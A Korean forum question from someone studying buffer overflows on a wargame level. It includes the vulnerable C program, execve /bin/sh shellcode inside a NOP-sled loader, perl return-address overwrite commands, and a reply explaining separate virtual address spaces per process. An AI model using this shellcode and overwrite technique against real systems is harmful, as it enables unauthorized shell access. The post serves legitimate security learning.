프로세스 마다 할당되는 스택의 주소
현재 버퍼 오버플로우를 공부하고 있습니다.
#include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc != 2){ printf("argc must be two!\n"); exit(0); } for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); memset(buffer, 0, 40); // buffer의 메모리를 0으로 초기화 memset(argv[1], 0, strlen(argv[1])); // argv[1]의 메모리를 0으로 초기화 }
위 프로그램을 오버플로우 시켜서 쉘을 따내라는 문제를 풀고 있는데요.
그 프로그램은 환경변수, 주어진 버퍼도 쓰지 못하게 되어있고 argv 배열도 쓰지못하게 막아놨습니다.
따라서 스택의 공간 어딘가에 쉘코드를 올려놓고 리턴주소를 그곳으로 향하게 해야 하는 것 같은데요.
쉘코드를 심고 그 공간을 알아내기 위해 다음과 같이 코드를 작성했습니다.
#include <stdio.h> #include <stdlib.h> char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\\x62\x69\x6e" "\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; int main(void) { char buffer[1024]; // 쉘코드 memset(buffer, 0x90, 200); memcpy(buffer+200, shellcode, sizeof(shellcode)-1); memset(buffer+200+sizeof(shellcode)-1, 0x90, 16); // 추측해야하는 버퍼의 주소 printf("buffer is at %p\n", buffer); // 프로그램이 종료되지 않도록 무한 루프 for( ; ;) ; }
공격할 프로그램을 실행하기 위해 위의 프로그램이 죽지않도록 밑과 같이 백그라운드로 실행 후,
[orge@localhost orge]$ ./exploit &
[1] 744
buffer is at 0xbffff738
[orge@localhost orge]$ ps
PID TTY TIME CMD
645 pts/0 00:00:00 bash
726 pts/0 00:00:00 bash2
744 pts/0 00:00:10 exploit
745 pts/0 00:00:00 ps
위의 프로그램이 뽑아낸 리턴주소의 오차를 생각해 다시 +40 을시킨 리턴주소를
공격할 프로그램에 넣고 밑과 같이 리턴주소를 제대로 뒤집어씌웠습니다.
[orge@localhost orge]$ ./troll $(perl -e 'print "\x38\x7f\xff\xbf"x12';)
������������������������
Segmentation fault
[orge@localhost orge]$ ./troll $(perl -e 'print "\x60\x7f\xff\xbf"x12';)
������������������������
Segmentation fault
그런데 세그폴트가 나더군요. 다른 값들을 몇번 대입해봐도 세그폴트가 자꾸 났습니다.
혹시나 안들어간건아닐까하고 gdb로 troll 프로그램을 띄운 후
리턴주소를 디버깅해보니 제가 원하던 NOP과 쉘코드는 들어가있지않고 엉뚱한 값들만 들어가있었습니다.
왜일까 하고 생각을해보니...
예전에 프로세스별로 메모리는 나누어져 관리된다는 사실을 어떤 문서로 부터 공부한 기억이 떠올랐습니다.
첨부된 그림파일을 보면 저렇게 세그먼트별로 나누어져 그 따로따로 관리되고 있는 스택에도
같은 스택의 주소가 프로그램별로 여러개 존재할수가 있나요 ?
저는 제가 심은 쉘코드가 그 이유때문에 먹히지 않는건가요...?
답답해서 이렇게 질문을 드립니다...
첨부파일 입니다.
첨부파일 입니다.
두 개의 터미널을 열어 gdb를 실행 시킨 후 각각
두 개의 터미널을 열어 gdb를 실행 시킨 후 각각 exploit, troll 을 띄웠습니다.
그리고 같은 스택 주소를 덤프했습니다.
결과가 다르군요...
이 결과로 봐서
세그먼트 1 에도 0xbffff774
세그먼트 2 에도 0xbffff774
가 각각 존재할 수 있는건가요...
.
프로세스에서 사용하는 메모리 주소는 모두 가상 메모리의 주소입니다.
가상 메모리는 프로세스마다 하나씩 주어져 있고 서로 share하지 않습니다. 달리 말하자면 프로세스 입장에서는 마치 자신이 컴퓨터의 모든 메모리를 사용할 수 있는 것처럼 느껴집니다.
그래서 A라는 프로세스에서 특정 주소에 어떤 값을 저장한다고 해서 B라는 프로세스에서도 해당 값이 해당 주소에 저장되지는 않습니다.
-
그렇군요. 답변해 주셔서 정말 감사합니다.
댓글 달기